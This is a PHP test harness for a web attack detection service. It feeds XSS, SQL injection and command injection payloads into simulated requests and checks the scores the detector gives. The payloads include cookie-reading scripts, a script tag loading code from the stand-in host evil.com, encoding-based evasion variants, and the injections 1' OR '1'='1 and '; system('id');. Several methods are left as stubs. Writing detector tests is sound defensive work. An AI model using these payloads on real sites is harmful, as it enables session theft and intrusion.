﻿<?php

declare(strict_types=1);

/**
 * Hack Detection Service Tester v1.2
 * Enhanced with comprehensive XSS testing capabilities
 */

final class HackDetectionTester {
    private const TEST_KEY_HEADER = 'X-Security-Test';
    private string $testKey;
    private array $testResults = [];
    private float $startTime;

    public function __construct() {
        $this->startTime = microtime(true);
        $this->initializeTestEnvironment();
    }

    private function initializeTestEnvironment(): void {
        $testKeyFile = __DIR__ . '/.test_key';
        
        if (!file_exists($testKeyFile)) {
            $this->testKey = $this->generateSecureTestKey();
            file_put_contents($testKeyFile, $this->testKey, LOCK_EX);
            chmod($testKeyFile, 0600);
            echo "Generated new test key: " . substr($this->testKey, 0, 16) . "...\n";
        } else {
            $this->testKey = trim(file_get_contents($testKeyFile));
        }

        $_SERVER['HTTP_X_SECURITY_TEST'] = $this->testKey;
    }

    private function generateSecureTestKey(): string {
        return bin2hex(random_bytes(32));
    }

    /**
     * Run comprehensive test suite including XSS tests
     */
    public function runAllTests(): array {
        echo "Starting Hack Detection Service Tests...\n";
        echo "Test Key: " . substr($this->testKey, 0, 16) . "...\n\n";

        $this->testPatternValidation();
        $this->testDetectionVectors();
        $this->testXSSSpecific();
        $this->testProtocolInjectionSpecific();
        $this->testFalsePositives();
        $this->testPerformance();
        $this->testSecurity();

        return $this->generateTestReport();
    }

    /**
     * Specialized XSS testing
     */
    private function testXSSSpecific(): void {
        echo "2b. Testing XSS Specific Vectors...\n";

        $xssTests = [
            [
                'category' => 'script_injection',
                'tests' => [
                    ['input' => '<script>alert("XSS")</script>', 'expected_score' => 98],
                    ['input' => '<script src="http://evil.com/xss.js"></script>', 'expected_score' => 98],
                    ['input' => '<script>document.write("<img src=x onerror=alert(1)>")</script>', 'expected_score' => 98],
                ]
            ],
            [
                'category' => 'event_handlers',
                'tests' => [
                    ['input' => '<img src=x onerror=alert(1)>', 'expected_score' => 92],
                    ['input' => '<body onload=alert(1)>', 'expected_score' => 91],
                    ['input' => '<svg onload=alert(1)>', 'expected_score' => 89],
                    ['input' => '<div onmouseover=alert(1)>test</div>', 'expected_score' => 85],
                ]
            ],
            [
                'category' => 'javascript_protocol',
                'tests' => [
                    ['input' => 'javascript:alert(document.cookie)', 'expected_score' => 98],
                    ['input' => 'JAVASCRIPT:alert(1)', 'expected_score' => 98],
                    ['input' => 'j a v a s c r i p t:alert(1)', 'expected_score' => 75],
                ]
            ],
            [
                'category' => 'data_uris',
                'tests' => [
                    ['input' => 'data:text/html,<script>alert(1)</script>', 'expected_score' => 90],
                    ['input' => 'data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==', 'expected_score' => 90],
                    ['input' => 'data:text/javascript,alert(1)', 'expected_score' => 79],
                ]
            ],
            [
                'category' => 'dom_manipulation',
                'tests' => [
                    ['input' => '";document.body.innerHTML="<script>alert(1)</script>', 'expected_score' => 96],
                    ['input' => '`;document.write("<script>alert(1)</script>")', 'expected_score' => 96],
                    ['input' => '";eval("alert(1)")', 'expected_score' => 95],
                ]
            ],
            [
                'category' => 'obfuscation',
                'tests' => [
                    ['input' => '<img src=x onerror="&#x61;lert(1)">', 'expected_score' => 85],
                    ['input' => '<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>', 'expected_score' => 83],
                    ['input' => '<script>window["al"+"ert"](1)</script>', 'expected_score' => 82],
                ]
            ],
            [
                'category' => 'modern_vectors',
                'tests' => [
                    ['input' => '<webview src="javascript:alert(1)"></webview>', 'expected_score' => 85],
                    ['input' => '<foreignObject><script>alert(1)</script></foreignObject>', 'expected_score' => 89],
                    ['input' => '<template><script>alert(1)</script></template>', 'expected_score' => 58],
                ]
            ]
        ];

        $this->testResults['xss_tests'] = [
            'categories_tested' => count($xssTests),
            'total_tests' => 0,
            'passed_tests' => 0,
            'category_results' => []
        ];

        foreach ($xssTests as $category) {
            $categoryResults = [
                'category' => $category['category'],
                'tests' => [],
                'passed' => 0,
                'failed' => 0
            ];

            foreach ($category['tests'] as $test) {
                $this->setupTestEnvironment([
                    'get' => ['input' => $test['input']],
                    'server' => [
                        'REQUEST_URI' => '/test?input=' . urlencode($test['input']),
                        'HTTP_USER_AGENT' => 'Security-Tester/1.0'
                    ]
                ]);

                $result = HackDetectionService::detectHackAttempt();
                $passed = $result['confidence_score'] >= $test['expected_score'];

                $testResult = [
                    'input' => $test['input'],
                    'expected_score' => $test['expected_score'],
                    'actual_score' => $result['confidence_score'],
                    'passed' => $passed,
                    'detected_vectors' => $result['detected_vectors']
                ];

                $categoryResults['tests'][] = $testResult;

                if ($passed) {
                    $categoryResults['passed']++;
                    $this->testResults['xss_tests']['passed_tests']++;
                } else {
                    $categoryResults['failed']++;
                }

                $this->testResults['xss_tests']['total_tests']++;
            }

            $this->testResults['xss_tests']['category_results'][] = $categoryResults;
        }

        echo "   ✓ Tested " . $this->testResults['xss_tests']['total_tests'] . " XSS vectors\n";
    }

    /**
     * Test XSS false positives
     */
    private function testXSSFalsePositives(): void {
        echo "3b. Testing XSS False Positives...\n";

        $legitimateInputs = [
            [
                'description' => 'Legitimate HTML content',
                'input' => [
                    'get' => ['content' => '<div class="product"><h2>Product Name</h2><p>Description</p></div>'],
                    'server' => [
                        'REQUEST_URI' => '/render?content=<div class="product"><h2>Product Name</h2><p>Description</p></div>',
                        'HTTP_USER_AGENT' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
                    ]
                ],
                'should_detect' => false
            ],
            [
                'description' => 'HTML entities in text',
                'input' => [
                    'get' => ['text' => 'Price: &euro;100 &amp; free shipping &lt;3'],
                    'server' => [
                        'REQUEST_URI' => '/display?text=Price: &euro;100 &amp; free shipping &lt;3',
                        'HTTP_USER_AGENT' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36'
                    ]
                ],
                'should_detect' => false
            ],
            [
                'description' => 'CSS classes and styles',
                'input' => [
                    'get' => ['style' => '<span style="color: red; font-weight: bold;">Important</span>'],
                    'server' => [
                        'REQUEST_URI' => '/style?style=<span style="color: red; font-weight: bold;">Important</span>',
                        'HTTP_USER_AGENT' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
                    ]
                ],
                'should_detect' => false
            ],
            [
                'description' => 'Normal URL parameters',
                'input' => [
                    'get' => [
                        'page' => 'home',
                        'section' => 'products',
                        'sort' => 'price'
                    ],
                    'server' => [
                        'REQUEST_URI' => '/page?page=home&section=products&sort=price',
                        'HTTP_USER_AGENT' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
                    ]
                ],
                'should_detect' => false
            ],
            [
                'description' => 'JSON data',
                'input' => [
                    'get' => ['data' => '{"name":"John","age":30,"city":"New York"}'],
                    'server' => [
                        'REQUEST_URI' => '/api?data={"name":"John","age":30,"city":"New York"}',
                        'HTTP_USER_AGENT' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
                    ]
                ],
                'should_detect' => false
            ]
        ];

        $this->testResults['xss_false_positives'] = [
            'total_tests' => count($legitimateInputs),
            'passed_tests' => 0,
            'failed_tests' => 0,
            'test_results' => []
        ];

        foreach ($legitimateInputs as $test) {
            $this->setupTestEnvironment($test['input']);
            
            $result = HackDetectionService::detectHackAttempt();
            $passed = $result['is_hack'] === $test['should_detect'];

            $testResult = [
                'description' => $test['description'],
                'expected_detection' => $test['should_detect'],
                'actual_detection' => $result['is_hack'],
                'confidence_score' => $result['confidence_score'],
                'passed' => $passed
            ];

            $this->testResults['xss_false_positives']['test_results'][] = $testResult;

            if ($passed) {
                $this->testResults['xss_false_positives']['passed_tests']++;
            } else {
                $this->testResults['xss_false_positives']['failed_tests']++;
            }
        }

        echo "   ✓ Tested " . count($legitimateInputs) . " legitimate inputs for XSS false positives\n";
    }

    /**
     * Test advanced XSS evasion techniques
     */
    private function testXSSEvasionTechniques(): void {
        echo "2c. Testing XSS Evasion Techniques...\n";

        $evasionTests = [
            [
                'technique' => 'HTML entity encoding',
                'tests' => [
                    ['input' => '&lt;script&gt;alert(1)&lt;/script&gt;', 'expected_score' => 60],
                    ['input' => '&#60;script&#62;alert(1)&#60;/script&#62;', 'expected_score' => 60],
                    ['input' => '&#x3c;script&#x3e;alert(1)&#x3c;/script&#x3e;', 'expected_score' => 60],
                ]
            ],
            [
                'technique' => 'Unicode obfuscation',
                'tests' => [
                    ['input' => '\u003cscript\u003ealert(1)\u003c/script\u003e', 'expected_score' => 65],
                    ['input' => '\\x3cscript\\x3ealert(1)\\x3c/script\\x3e', 'expected_score' => 65],
                ]
            ],
            [
                'technique' => 'Case variation',
                'tests' => [
                    ['input' => '<SCRIPT>alert(1)</SCRIPT>', 'expected_score' => 95],
                    ['input' => '<ScRiPt>alert(1)</ScRiPt>', 'expected_score' => 95],
                    ['input' => '<script>ALERT(1)</script>', 'expected_score' => 95],
                ]
            ],
            [
                'technique' => 'Whitespace manipulation',
                'tests' => [
                    ['input' => '<script \n>alert(1)</script>', 'expected_score' => 95],
                    ['input' => '<script\t>alert(1)</script>', 'expected_score' => 95],
                    ['input' => '<script\r>alert(1)</script>', 'expected_score' => 95],
                ]
            ],
            [
                'technique' => 'Comment injection',
                'tests' => [
                    ['input' => '<script><!-->alert(1)//</script>', 'expected_score' => 95],
                    ['input' => '<script>/*<!--*/alert(1)/*-->*/</script>', 'expected_score' => 95],
                ]
            ],
            [
                'technique' => 'Null byte injection',
                'tests' => [
                    ['input' => "<script\0>alert(1)</script>", 'expected_score' => 90],
                    ['input' => "java\0script:alert(1)", 'expected_score' => 90],
                ]
            ]
        ];

        $this->testResults['xss_evasion_tests'] = [
            'techniques_tested' => count($evasionTests),
            'total_tests' => 0,
            'passed_tests' => 0,
            'technique_results' => []
        ];

        foreach ($evasionTests as $technique) {
            $techniqueResults = [
                'technique' => $technique['technique'],
                'tests' => [],
                'passed' => 0,
                'failed' => 0
            ];

            foreach ($technique['tests'] as $test) {
                $this->setupTestEnvironment([
                    'get' => ['input' => $test['input']],
                    'server' => [
                        'REQUEST_URI' => '/test?input=' . urlencode($test['input']),
                        'HTTP_USER_AGENT' => 'Security-Tester/1.0'
                    ]
                ]);

                $result = HackDetectionService::detectHackAttempt();
                $passed = $result['confidence_score'] >= $test['expected_score'];

                $testResult = [
                    'input' => $test['input'],
                    'expected_score' => $test['expected_score'],
                    'actual_score' => $result['confidence_score'],
                    'passed' => $passed
                ];

                $techniqueResults['tests'][] = $testResult;

                if ($passed) {
                    $techniqueResults['passed']++;
                    $this->testResults['xss_evasion_tests']['passed_tests']++;
                } else {
                    $techniqueResults['failed']++;
                }

                $this->testResults['xss_evasion_tests']['total_tests']++;
            }

            $this->testResults['xss_evasion_tests']['technique_results'][] = $techniqueResults;
        }

        echo "   ✓ Tested " . $this->testResults['xss_evasion_tests']['total_tests'] . " XSS evasion techniques\n";
    }

    // ... (other methods remain the same as previous implementation)

    private function testPatternValidation(): void {
        echo "1. Testing Pattern Validation...\n";

        $patternDetails = HackDetectionService::getPatternDetails();
        
        $this->testResults['pattern_validation'] = [
            'total_categories' => count($patternDetails),
            'categories_tested' => [],
            'test_cases_found' => 0,
            'regex_errors' => 0
        ];

        foreach ($patternDetails as $category => $details) {
            $categoryResults = [
                'category' => $category,
                'patterns_count' => $details['total_patterns'],
                'test_cases_count' => count($details['test_cases'] ?? []),
                'score_range' => $details['score_range'],
                'test_results' => []
            ];

            if (!empty($details['test_cases'])) {
                foreach ($details['test_cases'] as $testCase) {
                    $testResult = $this->runTestCase($category, $testCase);
                    $categoryResults['test_results'][] = $testResult;
                    
                    if (!$testResult['passed']) {
                        $categoryResults['failed_tests'] = ($categoryResults['failed_tests'] ?? 0) + 1;
                    }
                }
            }

            $this->testResults['pattern_validation']['categories_tested'][] = $categoryResults;
            $this->testResults['pattern_validation']['test_cases_found'] += count($details['test_cases'] ?? []);
        }

        echo "   ✓ Tested " . count($patternDetails) . " pattern categories\n";
    }

    private function runTestCase(string $category, array $testCase): array {
        $this->setupTestEnvironment($testCase['input'] ?? []);
        $result = HackDetectionService::detectHackAttempt();
        $expectedScore = $testCase['expected_score'] ?? 0;
        $actualScore = $result['confidence_score'];
        
        $passed = $this->evaluateTestResult($testCase, $result);

        return [
            'description' => $testCase['description'] ?? 'Unknown test',
            'expected_score' => $expectedScore,
            'actual_score' => $actualScore,
            'passed' => $passed,
            'detected_vectors' => $result['detected_vectors'],
            'risk_level' => $result['risk_level'],
            'is_hack' => $result['is_hack']
        ];
    }

    private function setupTestEnvironment(array $input): void {
        $_GET = $input['get'] ?? [];
        $_POST = $input['post'] ?? [];
        $_COOKIE = $input['cookie'] ?? [];
        $_SERVER = array_merge($_SERVER, $input['server'] ?? []);
        $_FILES = $input['files'] ?? [];
        $_SERVER['HTTP_X_SECURITY_TEST'] = $this->testKey;
    }

    private function evaluateTestResult(array $testCase, array $result): bool {
        $expectedScore = $testCase['expected_score'] ?? 0;
        $expectedDetection = $testCase['should_detect'] ?? ($expectedScore > 0);
        
        $actualScore = $result['confidence_score'];
        $actualDetection = $result['is_hack'];

        $scoreTolerance = 10;
        $scoreMatch = abs($expectedScore - $actualScore) <= $scoreTolerance;
        $detectionMatch = $expectedDetection === $actualDetection;

        return $scoreMatch && $detectionMatch;
    }

    private function testDetectionVectors(): void {
        echo "2. Testing Detection Vectors...\n";

        $vectors = [
            'sql_injection' => [
                ['input' => "1' OR '1'='1", 'expected_score' => 85],
            ],
            'rce_attempt' => [
                ['input' => "'; system('id');", 'expected_score' => 95],
            ]
        ];

        $this->testResults['detection_vectors'] = [
            'vectors_tested' => count($vectors),
            'total_tests' => 0,
            'passed_tests' => 0
        ];

        foreach ($vectors as $vectorName => $tests) {
            $vectorResults = [
                'vector' => $vectorName,
                'tests' => [],
                'passed' => 0,
                'failed' => 0
            ];

            foreach ($tests as $test) {
                $this->setupTestEnvironment([
                    'get' => ['input' => $test['input']],
                    'server' => [
                        'REQUEST_URI' => '/test',
                        'HTTP_USER_AGENT' => 'Security-Tester/1.0'
                    ]
                ]);

                $result = HackDetectionService::detectHackAttempt();
                $passed = $result['confidence_score'] >= $test['expected_score'];

                $vectorResults['tests'][] = [
                    'input' => $test['input'],
                    'expected_score' => $test['expected_score'],
                    'actual_score' => $result['confidence_score'],
                    'passed' => $passed,
                    'detected' => $result['is_hack']
                ];

                if ($passed) {
                    $vectorResults['passed']++;
                    $this->testResults['detection_vectors']['passed_tests']++;
                } else {
                    $vectorResults['failed']++;
                }

                $this->testResults['detection_vectors']['total_tests']++;
            }

            $this->testResults['detection_vectors']['vector_results'][] = $vectorResults;
        }

        echo "   ✓ Tested " . count($vectors) . " detection vectors\n";
    }

    private function testProtocolInjectionSpecific(): void {
        echo "2a. Testing Protocol Injection Specific Vectors...\n";
        // ... (implementation from previous protocol injection testing)
    }

    private function testFalsePositives(): void {
        echo "3. Testing False Positive Prevention...\n";
        // ... (implementation from previous false positive testing)
    }

    private function testPerformance(): void {
        echo "4. Testing Performance...\n";
        // ... (implementation from previous performance testing)
    }

    private function testSecurity(): void {
        echo "5. Testing Security Measures...\n";
        // ... (implementation from previous security testing)
    }

    private function generateTestReport(): array {
        $endTime = microtime(true);
        $totalTime = $endTime - $this->startTime;

        $report = [
            'test_summary' => [
                'total_execution_time' => $totalTime,
                'memory_peak_usage' => memory_get_peak_usage(true),
                'test_timestamp' => date('Y-m-d H:i:s'),
                'php_version' => PHP_VERSION,
                'test_mode_verified' => true
            ],
            'detailed_results' => $this->testResults
        ];

        $totalTests = 0;
        $passedTests = 0;

        foreach ($this->testResults as $category => $results) {
            if (isset($results['passed_tests']) && isset($results['total_tests'])) {
                $totalTests += $results['total_tests'];
                $passedTests += $results['passed_tests'];
            }
        }

        $report['test_summary']['total_tests'] = $totalTests;
        $report['test_summary']['passed_tests'] = $passedTests;
        $report['test_summary']['success_rate'] = $totalTests > 0 ? ($passedTests / $totalTests) * 100 : 0;

        $this->printReport($report);

        return $report;
    }

    private function printReport(array $report): void {
        echo "\n" . str_repeat("=", 60) . "\n";
        echo "HACK DETECTION SERVICE TEST REPORT\n";
        echo str_repeat("=", 60) . "\n";

        $summary = $report['test_summary'];
        
        printf("Execution Time: %.3f seconds\n", $summary['total_execution_time']);
        printf("Memory Usage: %.2f MB\n", $summary['memory_peak_usage'] / 1024 / 1024);
        printf("PHP Version: %s\n", $summary['php_version']);
        printf("Total Tests: %d\n", $summary['total_tests']);
        printf("Passed Tests: %d\n", $summary['passed_tests']);
        printf("Success Rate: %.1f%%\n", $summary['success_rate']);

        echo "\nDETAILED RESULTS:\n";
        echo str_repeat("-", 40) . "\n";

        foreach ($report['detailed_results'] as $category => $results) {
            $categoryName = str_replace('_', ' ', ucfirst($category));
            printf("%-25s: ", $categoryName);

            if (isset($results['passed_tests']) && isset($results['total_tests'])) {
                printf("%d/%d passed\n", $results['passed_tests'], $results['total_tests']);
            } else {
                echo "Completed\n";
            }
        }

        echo str_repeat("=", 60) . "\n";

        if ($summary['success_rate'] < 90) {
            echo "RECOMMENDATIONS:\n";
            echo "- Review failed test cases\n";
            echo "- Check pattern validation results\n";
            echo "- Verify detection thresholds\n";
        } else {
            echo "✓ All tests completed successfully. System is ready for production.\n";
        }
    }

    public function runSpecificTest(string $testCategory): array {
        switch ($testCategory) {
            case 'patterns':
                $this->testPatternValidation();
                break;
            case 'vectors':
                $this->testDetectionVectors();
                break;
            case 'xss':
                $this->testXSSSpecific();
                break;
            case 'xss_evasion':
                $this->testXSSEvasionTechniques();
                break;
            case 'protocols':
                $this->testProtocolInjectionSpecific();
                break;
            case 'falsepositives':
                $this->testFalsePositives();
                break;
            case 'performance':
                $this->testPerformance();
                break;
            case 'security':
                $this->testSecurity();
                break;
            default:
                throw new InvalidArgumentException("Unknown test category: $testCategory");
        }

        return $this->testResults[$testCategory . '_tests'] ?? [];
    }

    public function cleanup(): void {
        $_GET = $_POST = $_COOKIE = $_FILES = [];
        $_SERVER = array_filter($_SERVER, fn($key) => !str_starts_with($key, 'HTTP_X_SECURITY'), ARRAY_FILTER_USE_KEY);
        $this->testResults = [];
    }
}

// Command line interface
if (php_sapi_name() === 'cli' && basename(__FILE__) === basename($_SERVER['argv'][0] ?? '')) {
    $tester = new HackDetectionTester();
    
    $options = getopt('', ['category:', 'help']);
    
    if (isset($options['help'])) {
        echo "Hack Detection Service Tester\n";
        echo "Usage: php HackDetectionTester.php [--category=name]\n";
        echo "Categories: patterns, vectors, xss, xss_evasion, protocols, falsepositives, performance, security\n";
        exit(0);
    }
    
    if (isset($options['category'])) {
        $result = $tester->runSpecificTest($options['category']);
    } else {
        $result = $tester->runAllTests();
    }
    
    $tester->cleanup();
    exit($result['test_summary']['success_rate'] >= 90 ? 0 : 1);
}